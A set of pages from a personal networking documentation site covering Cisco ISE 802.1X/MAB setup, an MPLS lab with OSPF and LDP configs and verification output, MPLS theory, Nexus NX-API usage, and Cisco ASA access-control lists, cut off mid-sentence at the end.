(ISE) ## Adding RADIUS Clients ### Creating Locations Go to *Administration \> Network Device Groups* ![ise radius](_images/ise-radius-1.png) Add a group, for example: ![ise radius](_images/ise-radius-2.png) ### Adding Devices to ISE Go to *Administration \> Network Devices* ![ise radius](_images/ise-radius-3.png) Fill in all the details ![ise radius](_images/ise-radius-4.png) ### Authenticator Configuration See ## ISE and AD ### Joining ISE to AD Go to *Administration \> External Identity Sources* ![ise ad](_images/ise-ad-1.png) Click on *Active Directory* and click on *Add* ![ise ad](_images/ise-ad-2.png) Input the details and click *Submit* ![ise ad](_images/ise-ad-3.png) Click *Yes* ![ise ad](_images/ise-ad-4.png) Authenticate ![ise ad](_images/ise-ad-5.png) You will see the Computer object in AD ![ise ad](_images/ise-ad-6.png) ### Identity Sources Go to *Administration \> Identity Source Sequences* ![ise ad](_images/ise-ad-7.png) Click *Add* ![ise ad](_images/ise-ad-8.png) Modify the *Identity Source Sequence* accordingly ![ise ad](_images/ise-ad-9.png) ## Wired Dot1x Switch Config ### Global Config ``` text # use the radius server for dot1x authentication aaa authentication dot1x default group radius # use the radius server for authorization aaa authorization network default group radius # use the radius server for accounting aaa accounting dot1x default start-stop group radius # include IP Address of supplicant request in accounting radius-server attribute 8 include-in-access-req # enable dot1x dot1x system-auth-control ``` ### Switchport Config ``` text int g0/xx switchport host #set the mode authentication host-mode multi-auth #set authentication type authentication open #set recurring authentication authentication periodic #let server decide how often to reauthenticate authentication timer reauthenticate server # set Port Access Entity to act as authenticator dot1x pae authenticator # supplicant retry timeout (sec) dot1x timeout tx-period 10 # enable 802.1x control of port authentication port-control auto ``` ### Verification ``` text CT-SW-99#sh dot1x all Sysauthcontrol Disabled Dot1x Protocol Version 3 Dot1x Info for GigabitEthernet0/30 ----------------------------------- PAE = AUTHENTICATOR PortControl = AUTO ControlDirection = Both HostMode = MULTI_AUTH QuietPeriod = 60 ServerTimeout = 0 SuppTimeout = 30 ReAuthMax = 2 MaxReq = 2 TxPeriod = 10 # show authentication status sh authen int g0/30 # show authentication sessions sh authen session int g/30 # debug debug radius authentication ``` ## ISE CA Certificates Due to installing a PKI integrated into AD, ISE will automatically receive a certificate from AD, upon joining the domain. If this does not happen, add the ROOT CA Certificate by going to *Administration \> System \> Certificates \> Trusted Certificates* and click on *Import* ![ise cert](_images/ise-cert-1.png) Choose the *Certificate File* downloaded from the Root CA, give it a *Friendly Name*, smash the Trust checkboxes and click on *Submit*. ![ise cert](_images/ise-cert-2.png) To generate a CSR, go to *Certificate Signing Requests* and click on *Add*, fill in the details and click on *Generate*. ![ise cert](_images/ise-cert-3.png) ![ise cert](_images/ise-cert-4.png) ## 802.1x MAB (Mac Address Bypass) ### Switch Config ``` text CT-SW-99#conf t # send over the MAC Address of the device being authenticated by switch (authenticator) to ISE (authentication server) - required for MAB CT-SW-99(config)#radius-server attribute 6 on-for-login-auth CT-SW-99(config)#radius-server attribute 25 access-request include # enable mab for the interface and config the order of authentication CT-SW-99(config)#int g0/30 CT-SW-99(config-if)#mab CT-SW-99(config-if)#authentication order mab dot1x ``` ### ISE Config **Checking Authentication Logs** To check the authentication logs go to *Operations \> RADIUS \> Live Logs* ![ise mab](_images/ise-mab-1.png) **"MABbing" a Device** Go to *Work Centers \> Identities \> Endpoints \> +* ![ise mab](_images/ise-mab-2.png) Fill in the details and click *Save* ![ise mab](_images/ise-mab-3.png) ## Posture Assessment ### NAC Provisioning Download the latest updates for ISE to check devices via NAC ![ise posture](_images/ise-posture-1.png) Download the latest NAC Agents from Cisco to ISE ![ise posture](_images/ise-posture-2.png) Download one of each of the latest one ![ise posture](_images/ise-posture-3.png) --- # Configuring a Label Switched Network Source: docs/networking/cisco/mpls/configuring-a-label-switched-network.md URL: https://docs.calebsargeant.com/networking/cisco/mpls/configuring-a-label-switched-network/ ## Lab Setup ![mpls](_images/mpls-8.png) [configure-a-label-switched-network.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/mpls/_files/configure-a-label-switched-network.zip) **SW1** ``` text SW1(config)#int lo1 SW1(config-if)#ip add 11.11.11.11 255.255.255.0 SW1(config-if)#no shut SW1(config-if)#vlan 11 SW1(config-vlan)#name VLAN11 SW1(config)#int g0/0 SW1(config-if)#no switchport SW1(config)#int g0/0.11 SW1(config-subif)#encap dot1q 11 SW1(config-subif)#ip add 192.168.11.2 255.255.255.0 ``` **SW2** ``` text SW2(config)#int lo1 SW2(config-if)#ip add 22.22.22.22 255.255.255.0 SW2(config-if)#no shut SW2(config-if)#vlan 22 SW2(config-vlan)#name VLAN22 SW2(config-if)#int g0/0 SW2(config-if)#no switchport SW2(config-if)#int g0/0.22 SW2(config-subif)#encap dot1q 22 SW2(config-subif)#ip add 192.168.22.2 255.255.255.0 ``` **R1** ``` text R1(config)#int lo1 R1(config-if)#ip add 1.1.1.1 255.255.255.0 R1(config-if)#vlan 12 R1(config-vlan)#name VLAN12 R1(config)#int g0/0 R1(config-if)#no switchport R1(config-if)#int g0/0.12 R1(config-subif)#encap dot1q 12 R1(config-subif)#ip add 192.168.12.2 255.255.255.0 ``` **R2** ``` text R2(config)#int lo1 R2(config-if)#ip add 2.2.2.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#vlan 22 R2(config-vlan)#name VLAN22 R2(config)#vlan 12 R2(config-vlan)#name VLAN12 R2(config-if)#vlan 23 R2(config-vlan)#name VLAN23 R2(config)#int r g0/0 - 2 R2(config-if-range)#no switchport R2(config-subif)#encap dot1q 23 R2(config-subif)#ip add 10.0.23.1 255.255.255.0 R2(config-subif)#int g0/1.12 R2(config-subif)#encap dot1q 12 R2(config-subif)#ip add 10.0.12.1 255.255.255.0 R2(config-subif)#int g0/2.22 R2(config-subif)#encap dot1q 22 R2(config-subif)#ip add 192.168.22.1 255.255.255.0 ``` **R3** ``` text R3(config)#int lo1 R3(config-if)#ip add 3.3.3.3 255.255.255.0 R3(config-if)#no shut R3(config-if)#vlan 23 R3(config-vlan)#name VLAN23 R3(config)#vlan 34 R3(config-vlan)#name VLAN34 R3(config)#int r g0/0 -1 R3(config-if-range)#no switchport R3(config-if-range)#int g0/0.23 R3(config-subif)#encap dot1q 23 R3(config-subif)#ip add 10.0.23.2 255.255.255.0 R3(config-subif)#int g0/1.34 R3(config-subif)#encap dot1q 34 R3(config-subif)#ip add 10.0.34.1 255.255.255.0 ``` **R4** ``` text R4(config)#int lo1 R4(config-if)#ip add 4.4.4.4 255.255.255.0 R4(config-if)#no shut R4(config-if)#vlan 34 R4(config-vlan)#name VLAN34 R4(config-if)#vlan 45 R4(config-vlan)#name VLAN45 R4(config-if)#int r g0/0 -1 R4(config-if-range)#no switchport R4(config-if-range)#int g0/0.45 R4(config-subif)#encap dot1q 45 R4(config-subif)#ip add 10.0.45.1 255.255.255.0 R4(config-subif)#int g0/1.34 R4(config-subif)#encap dot1q 34 R4(config-subif)#ip add 10.0.34.2 255.255.255.0 ``` **R5** ``` text R5(config)#int lo1 R5(config-if)#ip add 5.5.5.5 255.255.255.0 R5(config-if)#no shut R5(config-if)#vlan 45 R5(config-vlan)#name VLAN45 R5(config-if)#vlan 56 R5(config-vlan)#name VLAN56 R5(config-if)#vlan 11 R5(config-vlan)#name VLAN11 R5(config)#int r g0/0 - 2 R5(config-if-range)#no switchport R5(config)#int g0/0.45 R5(config-subif)#encap dot1q 45 R5(config-subif)#ip add 10.0.45.2 255.255.255.0 R5(config-subif)#int g0/1.56 R5(config-subif)#encap dot1q 56 R5(config-subif)#ip add 192.168.56.1 255.255.255.0 R5(config-subif)#int g0/2.11 R5(config-subif)#encap dot1q 11 R5(config-subif)#ip add 192.168.11.1 255.255.255.0 ``` **R6** ``` text R6(config)#int lo1 R6(config-if)#ip add 6.6.6.6 255.255.255.0 R6(config-if)#no shut R6(config-if)#vlan 56 R6(config-vlan)#name VLAN56 R6(config)#int g0/0 R6(config-if)#no switchport R6(config-if)#int g0/0.56 R6(config-subif)#encap dot1q 56 R6(config-subif)#ip add 192.168.56.2 255.255.255.0 ``` ## Configuring OSPF **R2** ``` text R2(config)#int g0/0.23 R2(config-subif)#ip ospf network point-to-point R2(config-subif)#router ospf 1 R2(config-router)#router-id 2.2.2.2 R2(config-router)#passive-interface default R2(config-router)#no passive-interface g0/0.23 R2(config-router)#network 2.2.2.2 0.0.0.255 area 0 R2(config-router)#network 10.0.23.0 0.0.0.255 area 0 ``` **R3** ``` text R3(config)#int g0/0.23 R3(config-subif)#ip ospf network point-to-point R3(config-subif)#int g0/1.34 R3(config-subif)#ip ospf network point-to-point R3(config-subif)#router ospf 1 R3(config-router)#router-id 3.3.3.3 R3(config-router)#passive-interface default R3(config-router)#no passive-interface g0/0.23 R3(config-router)#no passive-interface g0/1.34 R3(config-router)#network 3.3.3.3 0.0.0.255 area 0 R3(config-router)#network 10.0.23.0 0.0.0.255 area 0 R3(config-router)#network 10.0.34.0 0.0.0.255 area 0 ``` **R4** ``` text R4(config)#int g0/1.34 R4(config-subif)#ip ospf network point-to-point R4(config)#int g0/0.45 R4(config-subif)#ip ospf network point-to-point R4(config-subif)#router ospf 1 R4(config-router)#router-id 4.4.4.4 R4(config-router)#passive-interface default R4(config-router)#no passive-interface g0/1.34 R4(config-router)#no passive-interface g0/0.45 R4(config-router)#network 4.4.4.4 0.0.0.255 area 0 R4(config-router)#network 10.0.34.0 0.0.0.255 area 0 R4(config-router)#network 10.0.45.0 0.0.0.255 area 0 ``` **R5** ``` text R5(config)#int g0/0.45 R5(config-subif)#ip ospf network point-to-point R5(config-subif)#router ospf 1 R5(config-router)#router-id 5.5.5.5 R5(config-router)#passive-interface default R5(config-router)#no passive-interface g0/0.45 R5(config-router)#network 5.5.5.5 0.0.0.255 area 0 R5(config-router)#network 10.0.45.0 0.0.0.255 area 0 ``` ## Configuring MPLS **R2** ``` text R2(config)#mpls ip R2(config)#mpls ldp router-id lo1 R2(config)#mpls label protocol ldp R2(config)#mpls label range 200 299 R2(config)#int g0/0.23 R2(config-subif)#mpls ip R2(config-subif)#end ``` **R3** ``` text R3(config)#mpls ip R3(config)#mpls ldp router-id lo1 R3(config)#mpls label protocol ldp R3(config)#mpls label range 300 399 R3(config)#int g0/0.23 R3(config-subif)#mpls ip R3(config-subif)#int g0/1.34 R3(config-subif)#mpls ip ``` **R4** ``` text R4(config)#mpls ip R4(config)#mpls ldp router-id lo1 R4(config)#mpls label protocol ldp R4(config)#mpls label range 400 499 R4(config)#int g0/1.34 R4(config-subif)#mpls ip R4(config-subif)#int g0/ R4(config-subif)#int g0/0.45 R4(config-subif)#mpls ip ``` **R5** ``` text R5(config)#mpls ip R5(config)#mpls ldp router-id lo1 R5(config)#mpls label protocol ldp R5(config)#mpls label protocol ldp R5(config)#mpls label range 500 599 R5(config)#int g0/0.45 R5(config-subif)#mpls ip ``` ## Verifying MPLS Forwarding **Show the RIB** ``` text R4#sh ip route Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2 i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 ia - IS-IS inter area, * - candidate default, U - per-user static route o - ODR, P - periodic downloaded static route, H - NHRP, l - LISP a - application route + - replicated route, % - next hop override Gateway of last resort is not set 2.0.0.0/32 is subnetted, 1 subnets O 2.2.2.2 [110/3] via 10.0.34.1, 00:33:53, GigabitEthernet0/1.34 3.0.0.0/32 is subnetted, 1 subnets O 3.3.3.3 [110/2] via 10.0.34.1, 00:33:53, GigabitEthernet0/1.34 4.0.0.0/8 is variably subnetted, 2 subnets, 2 masks C 4.4.4.0/24 is directly connected, Loopback1 L 4.4.4.4/32 is directly connected, Loopback1 5.0.0.0/32 is subnetted, 1 subnets O 5.5.5.5 [110/2] via 10.0.45.2, 00:30:31, GigabitEthernet0/0.45 10.0.0.0/8 is variably subnetted, 5 subnets, 2 masks O 10.0.23.0/24 [110/2] via 10.0.34.1, 00:33:53, GigabitEthernet0/1.34 C 10.0.34.0/24 is directly connected, GigabitEthernet0/1.34 L 10.0.34.2/32 is directly connected, GigabitEthernet0/1.34 C 10.0.45.0/24 is directly connected, GigabitEthernet0/0.45 L 10.0.45.1/32 is directly connected, GigabitEthernet0/0.45 ``` **Show the LIB** ``` text R2#sh mpls ldp bindings lib entry: 2.2.2.0/24, rev 2 local binding: label: imp-null lib entry: 3.3.3.3/32, rev 4 local binding: label: 200 lib entry: 4.4.4.4/32, rev 6 local binding: label: 201 lib entry: 10.0.12.0/24, rev 8 local binding: label: imp-null lib entry: 10.0.23.0/24, rev 10 local binding: label: imp-null lib entry: 10.0.34.0/24, rev 12 local binding: label: 202 lib entry: 10.0.45.0/24, rev 14 local binding: label: 203 lib entry: 192.168.12.0/24, rev 16 local binding: label: imp-null lib entry: 192.168.22.0/24, rev 18 local binding: label: imp-null ``` **Show the FIB** ``` text R2#sh ip cef Prefix Next Hop Interface 0.0.0.0/0 no route 0.0.0.0/8 drop 0.0.0.0/32 receive 2.2.2.0/24 attached Loopback1 2.2.2.0/32 receive Loopback1 2.2.2.2/32 receive Loopback1 2.2.2.255/32 receive Loopback1 3.3.3.3/32 10.0.23.2 GigabitEthernet0/0.23 4.4.4.4/32 10.0.23.2 GigabitEthernet0/0.23 5.5.5.5/32 10.0.23.2 GigabitEthernet0/0.23 10.0.12.0/24 attached GigabitEthernet0/1.12 10.0.12.0/32 receive GigabitEthernet0/1.12 10.0.12.1/32 receive GigabitEthernet0/1.12 10.0.12.255/32 receive GigabitEthernet0/1.12 10.0.23.0/24 attached GigabitEthernet0/0.23 10.0.23.0/32 receive GigabitEthernet0/0.23 10.0.23.1/32 receive GigabitEthernet0/0.23 10.0.23.2/32 attached GigabitEthernet0/0.23 10.0.23.255/32 receive GigabitEthernet0/0.23 10.0.34.0/24 10.0.23.2 GigabitEthernet0/0.23 10.0.45.0/24 10.0.23.2 GigabitEthernet0/0.23 Prefix Next Hop Interface 127.0.0.0/8 drop 192.168.12.0/24 attached GigabitEthernet0/0.12 192.168.12.0/32 receive GigabitEthernet0/0.12 192.168.12.2/32 receive GigabitEthernet0/0.12 192.168.12.255/32 receive GigabitEthernet0/0.12 192.168.22.0/24 attached GigabitEthernet0/2.22 192.168.22.0/32 receive GigabitEthernet0/2.22 192.168.22.1/32 receive GigabitEthernet0/2.22 192.168.22.255/32 receive GigabitEthernet0/2.22 224.0.0.0/4 drop 224.0.0.0/24 receive 240.0.0.0/4 drop 255.255.255.255/32 receive ``` **Show the LFIB** ``` text R4#sh mpls forwarding-table Local Outgoing Prefix Bytes Label Outgoing Next Hop Label Label or Tunnel Id Switched interface 400 No Label 3.3.3.3/32 0 Gi0/1.34 10.0.34.1 401 300 2.2.2.2/32 0 Gi0/1.34 10.0.34.1 402 Pop Label 10.0.23.0/24 590 Gi0/1.34 10.0.34.1 403 No Label 5.5.5.5/32 0 Gi0/0.45 10.0.45.2 ``` **Debug MPLS** ``` text R2#ping 5.5.5.5 so lo1 repeat 1 Type escape sequence to abort. Sending 1, 100-byte ICMP Echos to 5.5.5.5, timeout is 2 seconds: Packet sent with a source address of 2.2.2.2 ! Success rate is 100 percent (1/1), round-trip min/avg/max = 23/23/23 ms R3#debug mpls packet Feb 16 09:04:31.397: MPLS les: Gi0/0.23: rx: Len 122 Stack {303 0 255} - ipv4 data s:2.2.2.2 d:5.5.5.5 ttl:255 tos:0 prot:1 Feb 16 09:04:31.397: MPLS les: Gi0/1.34: tx: Len 122 Stack {403 0 254} - ipv4 data s:2.2.2.2 d:5.5.5.5 ttl:255 tos:0 prot:1 Feb 16 09:04:31.409: MPLS les: Gi0/1.34: rx: Len 122 Stack {300 0 254} - ipv4 data s:5.5.5.5 d:2.2.2.2 ttl:255 tos:0 prot:1 R4#debug mpls packet Feb 16 09:19:05.258: MPLS les: Gi0/1.34: rx: Len 122 Stack {403 0 254} - ipv4 data s:2.2.2.2 d:5.5.5.5 ttl:255 tos:0 prot:1 Feb 16 09:19:05.261: MPLS les: Gi0/0.45: rx: Len 122 Stack {401 0 255} - ipv4 data s:5.5.5.5 d:2.2.2.2 ttl:255 tos:0 prot:1 Feb 16 09:19:05.261: MPLS les: Gi0/1.34: tx: Len 122 Stack {300 0 254} - ipv4 data s:5.5.5.5 d:2.2.2.2 ttl:255 tos:0 prot:1 ``` --- # MPLS Source: docs/networking/cisco/mpls/index.md URL: https://docs.calebsargeant.com/networking/cisco/mpls/ --- # Introduction to MPLS Source: docs/networking/cisco/mpls/introduction-to-mpls.md URL: https://docs.calebsargeant.com/networking/cisco/mpls/introduction-to-mpls/ ## What is MPLS? - Multi-Protocol Label Switching is a new paradigm in the way routers make forwarding decisions. - Multiprotocol: MPLS is capable of **transporting many L2 and L3 protocols** - Label Switching: Packets are **switched** based on **labels**, not destination IP! - Labels - Ultimately determine the destiny of a packet through an MPLS network ## Why MPLS? - Unified network infrastructure - ATM concepts integrated into an IP world - Scalable and secure L3 VPNs using a peer-to-peer model - BGP-free core - Traffic engineering capabilities - WAN Quality of Service (QoS) requirements ## MPLS Key Terms ### MPLS Labels - MPLS is often described as a **shim** or **layer 2.5 protocol** - An MPLS packet contains a label stack, consisting of one or more MPLS labels ![mpls](_images/mpls-1.png) - **Label** - the MPLS label itself, determines destiny of the packet - **EXP**- Experimental (not so much any more), used for QoS markings - **S** - Boolean, if set to 1, it's bottom of the label stack. If 0, there's another label on the stack - **TTL** - Time-to-live for loop prevention and hop count (as it is in IP) **Push vs Pop vs Swap** - The **swap** operation means that the top label in the label stack is replaced with another - The **push** operation means that the top label is replaced with another and then one or more additional labels are pushed onto the label stack - The **pop** operation means that the top label is removed ### Label Switched Routers - A **label switched router** (LSR) is a router running MPLS - LSR can be an **ingress** edge, **intermediate** or **egress** edge LSR - A Label Switched Path (LSP) is the series of LSRs that switch a labeled packet ![mpls](_images/mpls-2.png) ### Forwarding Equivalency Class (FEC) - Group of packets that are forwarded the same way through the MPLS network - Every packet in the same FEC enters the MPLS network with the same label - FEC can theoretically be based on many different things L3 destination prefix, QoS, L2 PVC, BGP next-hop, TE tunnel, link color, etc... --- # MPLS Fundamentals Source: docs/networking/cisco/mpls/mpls-fundamentals.md URL: https://docs.calebsargeant.com/networking/cisco/mpls/mpls-fundamentals/ ## MPLS Data Plane - LSR uses the **FIB** to forward **unlabeled IP packets** - LSR uses the **LFIB** to forward **labeled packets** - The FIB and LFIB databases are built by various control plane protocols ![mpls](_images/mpls-3.png) ## Key Router Databases ![mpls](_images/mpls-4.png) - RIB (Routing Information Base) - `sh ip route` - Routing table, static, connected, etc. - FIB (Forwarding Information Base) - `sh ip cef` works with CEF (Cisco Express Forwarding) adjacency table (prepackaged L2 info used for forwarding - MAC Address, DLCI), what do we do when we have a packet, what database do we look in, etc. - LIB (Label Information Base) - `sh mpls ldp bindings` - Label Information Base (store anything to do with label) - LFIB (Label Forward Information Base) - `sh mpls forwarding-table` - hardware based database, used to forward MPLS packets constructed by LIB, FIB & RIB ## MPLS Control Plan - Step 1 - Every LSR generates a local label for every connected, static and IGP prefix - Step 2 - Exchange prefix / label bindings with all LDP neighbors - Once labels are exchanged, the MPLS data plane (LFIB can be constructed). - Only the best prefix / label bindings from the LIB get put into LFIB - The best path is still chosen by the IGP ## Label Distribution Protocol (LDP) ### LDP Label Exchange ![mpls](_images/mpls-5.png) ### LDP Mechanics - LDP **hello messages** are **multicast** to **224.0.0.2** to discover LDP neighbors - **UDP** port **646** - Hello messages list the LDP **router-id**. This MUST be a valid IP address! - **TCP** session is open between LDP routers to do **label exchange** - **TCP** port **646** - TCP session is between LDP router-id's - This is why they must be routable! - **Highest LDP RID** initiates TCP session - LDP RID is chosen first by **configuration**, then **highest loopback**, then **highest interface** IP assigned ### Penultimate Hop Popping - LSR advertises a **special label** called **implicit null** (label value 3) for any prefixes that it needs to forward packets for using only (outside MPLS) - The **implicit null** label tells the upstream neighbor to **pop** the outer most label before sending the packet as an efficiency mechanism ![mpls](_images/mpls-6.png) ## MPLS Ping and Traceroute ### MPLS Ping - Classic ping works fine in MPLS environments but has some challenges - Classic ping only verifies that IP forwarding is working, but does not verify the LSP - If an end to end ping fails, it can be unclear where the exact problem is (could be many things - firewall, CE, MPLS could be broken but not pings, etc.) - To solve these challenges, a special MPLS ping utility was developed - Can only be run on LSRs - Verifies an end to end LSP - IP packet that is carried across the LSP is constructed so it can NOT be routed - IP packet gets put inside LSP packet - TTL is 1 - Destination is 127.0.0.0/8 - Destination UDP is 3503 (reserved) - Rotuer alert is set in IP header - In MPLS header, TTL is set to 225 - Lookup destination of ping, generate full label stack, and push label stack on packet - It won't fallback to routing, because the parameters (TTL, port, etc.) won't allow it to be routed - If the LSP is broken, an error message is returned to the source router ### MPLS Classic Traceroute - Traditional traceroute in an MPLS environment works differently than you might imagine - It suffers from the same problems as ping and is not efficient ![mpls](_images/mpls-7.png) **Let's say CE1 is trying to trace to CE2:** > - CE1 sends packet with TTL 1 > - PE1 gets packet and decrements TTL to 0, sends ICMP TTL expired to CE1 > - CE1 knows first hop is PE1 > - CE1 sends packet with TTL 2 > - PE1 gets packet and decrements TTL to 1, puts label 17 on the stack, and sends to P1 > - TTL on MPLS header is set to 1 > - P1 gets MPLS packet and decrements TTL to 0 in MPLS header > - (now normally, in classic traceroute, P1 would send TTL expired to CE1, P1 doesn't know of IP realm and can't send it back to 192.168.1.1) > - P1 generates ICMP TTL expired message and sends along LSP to PE2 (bizarre) sourced from its interface facing PE1 and the TTL expired message is destined to CE1, puts label 32 and sends to PE2 > - TTL expired gets sent to CE2, CE2 sends it back to PE2 > - CE1 eventually gets the TTL expired message > - Same thing happens for 3rd hop, etc. **Problems:** - If LSP is broken, traceroute in MPLS might still work - If we trace from one CE1 to CE2, no way to detect where LSP broke, ICMP responses travel along LSP first and break by the PE1 router - MPLS traceroute utility was created and MPLS ping is used in the background and is run on LSR only - A series MPLS (ping) echo packets are sent fully labelled checking the entire path --- # Nexus Source: docs/networking/cisco/nexus.md URL: https://docs.calebsargeant.com/networking/cisco/nexus/ - IOSxe (e.g. 3850) for campus. - NXOS (3000 & 9000) for datacentre. - IOS XR (e.g. ASR9000, Network Converging System (NCS)). ## API - NX-API is CLI with a set of APIs that allow you to send CLI commands over http. It includes json-rpc, xml, and json message formats. This is not a RESTAPI, it's a different method. - NX-API REST (3000s, 9000s, & newer only) is not designed as a CLI based API. It's designed as a true REST API that targets specific objects (such as an interface or vlan). - Show the features, to see if API is enabled. Note that enabling features uses resources, so only enable what you are going to use. ``` text sbx-n9kv# sh run | i feature feature nxapi feature bash-shell feature scp-server feature ospf feature bgp feature netconf feature restconf feature grpc feature interface-vlan !etc., etc. ``` ### JSON-RPC The command `show vlan brief` would appear as the below *API Request*. The *API Response* we get back is in JSON format with a body and table key, which we can process in our JQ code. JSONRPC is a generic way of communicating with the device and has less features. Use XML or JSON (below) instead. - **jsonrpc** is a standard (or type of) API messaging format, which is a way to send RPC messages from a client to a device. Remote Procedure Calls (RPC) is a programming term for a system to ask a remote system to do something (procedure) and give me the result of the data. - **method** in this case, is a cli block of data. - **params** contains the command we want to send to the device. Jsonrpc specification requires one to input the **version** and in this case it is version 1. - **id** is how the RPCs are linked back and forth. ``` json [ { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "show vlan brief", "version": 1 }, "id": 1 } ] ``` ### XML & JSON - **ins_api** Cisco proprietary API. Designed to allow CLI commands through API, with error messaging, etc. - **type** is *cli_show*. You also get *cli_show_ascii* (already written code to parse), *cli_conf* (sending configuration commands, automatic `conf t` mode) and *bash*. **XML:** ``` xml 1.0 cli_show 0 sid show vlan brief xml ``` **JSON:** ``` json { "ins_api": { "version": "1.0", "type": "cli_show", "chunk": "0", "sid": "1", "input": "show vlan brief", "output_format": "json" } } ``` ## Visore - Accessed via **https://\/visore.html**, visore is a REST API browser tool. It is built to mimic the ACI model. - Similar to any RESTAPI, objects are targeted with a unique name. With NXAPI it's the DN (Distinguished Name). - As an example, searching for L2BD (Layer 2 Bridge Domain) will result in showing all your VLANs. Equivalent in Postman, running a GET **https://{{host}}/api/node/mo/sys/bd/bd-\[vlan-3001\].json** will output the device's VLAN (3001) drilling-down the tree from *sys* to *bd*. In Postman, running a PUT **https://{{host}}/api/node/mo/sys/bd/bd-\[vlan-3001\].json** with the below body will update the name of VLAN 3001. ``` json { "L2BD": { "attributes": { "name": "Update_VLAN" } } } ``` ## Bash Bash on Nexus is the actual linux system that hosts NX-OS, whereas guestshell is a native, isolated container that cannot affect the host. You can also run docker containers (alpine, etc.) on Nexus to be able to run edge-processing applications and systems. A good use case of running a docker container on the edge switch is to have it do a health check when config is changed and roll back the config if certain health check fails. This is useful for when your management system cannot access the switch due to said change. ``` bash sbx-n9kv# run bash bash-4.3$ # show all interfaces bash-4.3$ ip link # show ip addresses bash-4.3$ ip addr show dev Vlan101 # go into root bash-4.3$ sudo su - # run a docker container root@sbx-n9kv#docker run alpine ``` --- # Implementing Access Control Source: docs/networking/cisco/ngfw-ngips/access-control.md URL: https://docs.calebsargeant.com/networking/cisco/ngfw-ngips/access-control/ ## ACLs in Cisco ASA An ACL is a collection of security rules or policies that allows or denies packets after looking at the packet headers and other attributes. Each permit or deny statement in the ACL is referred to as an access control entry (ACE). These ACEs classify packets by inspecting Layer 2 through Layer 7 headers for a number of parameters, including the following: - Layer 2 protocol information such as EtherTypes - Layer 3 protocol information such as ICMP, TCP, or UDP - Layer 3 header information such as source and destination IP addresses - Layer 4 header information such as source and destination TCP or UDP ports - Layer 7 information such as application and system service calls ACLs on the ASA: - ACLs get applied to an interface to filter traffic. - ASA filters inbound and outbound. - Inbound ACL - ASA analyses packets against the ACEs. - Outbound ACL - ASA inspects packets exiting out of interface, but not packets entering interface. - Permitted packets get processed by the ASA and the packet and passes out egress interface. - Denied packets get *discarded* and the ASA generates a syslog message. - You can apply only 1 extended ACL per direction of an interface. - You can apply an extended ACL and an EtherType ACL in the same direction, if running in transparent mode. - Return TCP/UDP traffic is not blocked from lower security-level higher security-level. - Return GRE/ESP traffic must be permitted on the ACL applied on respective interface. - Return ICMP traffic in ACL must be allowed or enable ICMP inspection. ACLs include a five-tuple: - Source IP address (or subnet) - Source port - Destination IP address (or subnet) - Destination port - Protocol Dissected ACL on ASA: ![access control](_images/access-control-1.png) Inbound ACL: ![access control](_images/access-control-2.png) Outbound ACL: ![access control](_images/access-control-3.png) Characteristics of an ACL: - When a new ACE is added to an existing ACL, it is appended to the end of the ACL, unless a specific line number is specified. - When a packet enters the security appliance, the ACEs are evaluated in sequential order. Hence, the order of an ACE is critical. For example, if you have an ACE that allows all IP traffic to pass through, and then you create another ACE to block all IP traffic, the packets are never evaluated against the second ACE because all packets match the first ACE. - There is an implicit deny at the end of all ACLs. If a packet is not matched against a configured ACE, it is dropped and a syslog with message ID of 106023 is generated. - By default, you do not need to define an ACE to permit traffic from a high-security-level interface to a low-security-level interface. However, if you want to restrict traffic flows from a high-security-level interface destined to a low-security-level interface, you can define an ACL. If you configure an ACL for traffic originating from a high-security-level interface to a low-security-level interface, it disables the implicit permit from that interface. All traffic is now subject to the entries defined in that ACL. - An ACL must explicitly permit traffic traversing the Cisco ASA from a lower- to a higher-security-level interface of the firewall. The ACL must be applied to the lower-security-level interface or globally. - The ACLs (extended or IPv6) must be applied to an interface to filter traffic that is passing through the security appliance. Beginning with Cisco ASA Software version 9.0(1), you can use a single ACL to filter both IPv4 and IPv6 traffic. - You can bind one extended ACL and one EtherType ACL in each direction of an interface at the same time. - You can apply the same ACL to multiple interfaces. However, doing so is not considered to be a good security practice because correlating ACL hit counts to a specific interface’s traffic would be impossible. - You can use ACLs to control both traffic through the Cisco ASA and traffic to the security appliance. The ACLs that control traffic to the appliance are applied differently than ACLs that filter traffic through the appliance. - When TCP or UDP traffic flows through the security appliance, the return traffic is automatically allowed to pass through because the connections are bidirectional. - Other protocols such as ICMP are considered unidirectional connections, so you need to allow ACL entries in both directions. However, when you enable the ICMP inspection engine, the inspection engine keeps track of the ICMP messages and then allows replies (such as ping packets). **Four types of ACLs:** - Standard - Based on destination IP Address. - Used in split-tunnels and route-distribution in route maps. - Cannot be applied to interface for traffic filtering. - Can only be used if device is in routed mode. - Extended - Attributes: - Source and Destination IP Addresses - Layer 3 Protocols - Source and/or Destination TCP and UDP ports - Destination ICMP type for ICMP packets - User identity attributes such as AD username or group membership - Used for interface packet filtering, QoS classification, NAT, VPN encryption, etc. - Can be used in both routed and transparent modes. - EtherType - Filter IP and non-IP-based traffic, checking the Ethernet type code (0x800 is IP) in L2 header. Novell IPX, for example uses 0x8137/8 - Can be used only if device is in transparent mode. - Implicit deny does not affect IP traffic, therefore, can be applied in each direction of interface, unless one inputs an explicit deny. - Webtype - Restrict traffic coming through SSL VPN. - Implicit deny if ACL configured, else all allowed. ASA Extended ACL topology: ![access control](_images/access-control-4.png) Security-Levels: - 100 most secure (`nameif inside` will automatically set `security-level` to 100) - 0 leaast secure (`nameif outside` will automatically set `security-level` to 0) - Input`same-security-traffic permit inter-interface` global config command to allow what it says... ACL example, allowing 10.2.2.2 & 3 to reach 10.1.1.2 on http & 209.165.202.132 on smtp: ``` text asa# conf t asa(config)# access-list outside_in extended permit tcp host 10.2.2.2 host 10.1.1.2 eq http asa(config)# access-list outside_in extended permit tcp host 10.2.2.3 host 10.1.1.2 eq http asa(config)# access-list outside_in extended permit tcp host 10.2.2.2 host 209.165.202.132 eq smtp asa(config)# access-list outside_in extended permit tcp host 10.2.2.3 host 209.165.202.132 eq smtp asa(config)# access-list outside_in extended deny ip any any log asa(config)# access-group outside_in in interface outside ``` ## Cisco ASA Application Inspection - Stateful inspection keeps info about each 